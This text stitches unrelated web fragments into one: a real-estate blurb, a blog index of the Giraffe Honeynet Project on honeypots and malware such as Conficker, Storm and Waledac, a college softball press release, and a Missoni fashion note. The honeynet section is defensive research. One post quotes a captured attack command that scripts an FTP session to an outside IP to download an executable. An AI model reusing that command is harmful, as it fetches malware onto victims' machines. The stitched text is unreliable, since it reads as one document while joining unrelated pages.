The Great Outdoors. Out back, the wrap-around porch transitions onto a heavenly, tiered redwood deck. Professionally designed yet unequivocally casual, the bungalow boasts a gracious outdoor area with a full roster of amenities: an outdoor fireplace, a pergola, two fountains, and (count 'em) seven fruit trees.
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Welcome to the natural habitat of the Giraffe Honeynet Project, a chapter of the international Honeynet Project. Our main interest lies in developing code for applications in the area of honeynets and malware research. Some of our projects are:
We also (co) authored the Know Your Enemy: Tracking Botnets and the Know Your Enemy: Containing Conficker paper.
Pietro wrote a nice post about him finding Android malware while visiting the theatre. Thanks to Thug (thank you Angelo) and HoneyProxy, he was able to get some interesting details about their infrastructure. I was curious what kind of malware you find in a theatre, so I quickly looked at one of the samples that he mentioned: f6ad9ced69913916038f5bb94433848d. Read more »
The HoneyMap shows a real-time visualization of attacks against the Honeynet Project's sensors deployed around the world. It leverages the internal data sharing protocol hpfeeds as its data source. Read this post to learn about the technical details and frequently asked questions. Before going into explanations, take a look at the map itself: map.honeynet.org! Read more »
The Giraffe Chapter's continuous goal is to develop and improve honeypot technology and related tools and to conduct in-depth analysis of new attack techniques and malware specimens. This report lists our main activities and contributions from the last two and a half years.
Much to our regret, two of the founding members of our chapter have decided to terminate their Honeynet Project membership and are thus officially moved to alumni status. We respect this step and are grateful for an adventurous journey and their numerous contributions over the years. We will continue to work closely together with our friends, and want them to know that they can rejoin the team whenever they wish to.
The Giraffe Chapter consists of the following people:
Today, Steven Adair from Shadowserver imformed us about a new piece of malware that looks like a new version of the infamous Storm Worm. Storm was one of the first serious peer-to-peer botnets, it was sending out spam for more than two years until its decline in late 2008. Mark Schloesser, Tillmann Werner, Georg Wicherski, and I did some work on how to take down Storm back then, so the rumors about a new version caught our interest. Read more »
Hi everybody,
our first Scan of the Month Challenge in 2010 is over! We received 91 submissions in total, and some parts of the solutions are so interesting that I would like to publicly highlight them in this post. Now that the winners are announced (Congratulations Ivan, Franck, and Tareq!), I think I also owe you an explanation why we asked the specific questions and what we expected as answers. I am sure you will be surprised how many pieces of information you can dig up in a plain pcap - I was indeed when I had a look at the solutions we received. Enjoy! Read more »
Some people say "Reverse Engineering is an art". Well, this might be true if you consider stuff like mathematics as art. It is more an application of standard methods that evolve constantly. Actually, everybody can learn these methods and start to RE executables. With the RE-Google plugin for IDA Pro, even your granny can start reversing :) Read more »
The Dionaea honeypot got more and more mature during the last weeks. As Markus blogged in Iteolih: Miles and More the software is now able to detect shellcode via libemu and generates a nice shellcode profile out of this.
The SMB / DCERPC implementation also got fairly mature and is now able to cope with all packet types and also most caveats and differences of implementations in exploits. As I registered more and more RPC vulnerabilities in the module, it was definitely time to give libemu something to eat! :) Read more »
We got a new milestone due:
An exploit taken from a public repository, run against the software, is detected and emulated.
To shorten things, basically all required points are hit with current svn.
So, given the time we just saved, some words about how it works. Read more »
Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:
WinExec("cmd /c echo open 126.96.36.199 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy. Read more »
While playing with the current hsoc code, I got attacked, and saw an offer to download something from somewhere.
During the last weeks I have been working on SMB and specifically DCERPC support for the Dionaea next generation low-interaction honeypot (buzz!).
SMB / CIFS is a huge protocol with several protocol versions and a lot of message types. The CIFS technical reference and the Implementing CIFS book have been constant companions for me since the beginning of the project. Read more »
Conficker contains a piece of code that has been object of speculation: It does not infect boxes located in the Ukraine. Before sending an exploit, it performs a lookup against Maxmind's GeoIP database, which is freely available, and skips the host if the returned country code is UA. While the B variant comes with a copy of the database embedded, the A variant downloads the file from Maxmind's server. A couple of days ago Felix had the idea to deliver a specially crafted database that maps every IP address to the Ukrain. Read more »
One project mentored by the Honeynet Project during GSoC aims at improving nebula, an automated intrusion signature generator. There are two critical components in the signature generator: A clustering engine that groups similar attacks into classes, and a signature assembler that extracts common features and selects some of them for the actual signature. Read more »
due to the length of the whole term Improving the effectiveness of low interaction honeypots, I decided to use Iteolih as uniq abbrevitation. Things are rolling for the project, writing code started, a basic homepage with instructions how to compile/use it was created.
I even had the plan to write about it once or twice, finish something in the code, write about it. When I was done with the code, I got the idea, writing about it was not worth your time. Read more »
As the plan is to embedd python as scripting language into the honeypot, I ran a benchmark on a testsuite. The 'testsuite' is a c core which accepts connections, and allows python to deal with the input. The protocol used for benchmarking is http, the service serves a non static html page.
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To benchmark, I ran the apache benchmark tool ab Read more »
Many people have asked us, how Conficker looks like. That's a tough question for something that's hidden and tries to be as stealthy as possible. The last time somebody asked me: "Can you show me Conficker?", I decided to visualize Conficker. Here is a little video that shows the evil core of Conficker.C.
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While it seems to be impossible to say whether waledac is the successor of storm or not, what we can do is take a look at the traffic encryption. They guys over at Shadowserver have already blogged some details about this. We at the Giraffe Chapter investigated waledac's communication protocol further. Here are our results. Read more »
This year, Felix Leder and Mark Schlösser joined our team. We are focused on active development of honeypot tools and for us writing code is a passion. The Giraffe Chapter now consists of the following people:
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Waledac is wishing merry christmas
There is a new bot in town. It's called Waledac. The way it is spreading reminds a lot of people of the good old storm botnet: An email is sent containing a "christmas card" in form of the executable "postcard.exe".
A preliminary view on the binary has been given by the Shadowserver guys (Steve Adair).
I had the chance to have a first look at the binary (MD5 ccddda141a19d693ad9cb206f2ae0de9) and want to note down some of my few findings to let the hunt begin. Read more »


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Farber and Zino Named ECAC Players of the Week for Softball
- Farber named Co-Player of the Week, Zino named Pitcher of the Week -
Centerville, Mass. - Junior shortstop Nicole Farber (Oakdale, N.Y./Connetquot) was named ECAC Metro Softball Player of the Week and sophomore pitcher Hope Zino (Bay Shore, N.Y./Bay Shore) was named Pitcher of the Week on Tuesday, April 13th.
Farber batted .550 on the week, going 11-for-20 at the plate. She posted an RBI in all but one game with a total of eight this week. Her team improved to 18-8, 11-1 in Skyline play. She also stole four bases and had two extra base hits this week.
Hope went 4-0 this week with a 0.00 ERA, allowing no more than three hits in each game. She fanned ten batters and walked just one in a 4-2 win over Baruch College, before fanning nine more in a 6-1 win over St. Joe's. She pitched three innings in the second of the doubleheader versus St. Joe's, fanning two. Hope ended the week with a 8-0 victory over Sage, striking out six and pitching perfectly until allowing the only two hits in the fourth inning.


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Legendary Italian brand Missoni is loved for its instantly recognizable zigzag patterns and signature crochet knitwear. Keeping fashion in the family, the founder's granddaughter Angela now holds the creative reins, designing effortless staples and bikinis that epitomize jetset glamour.
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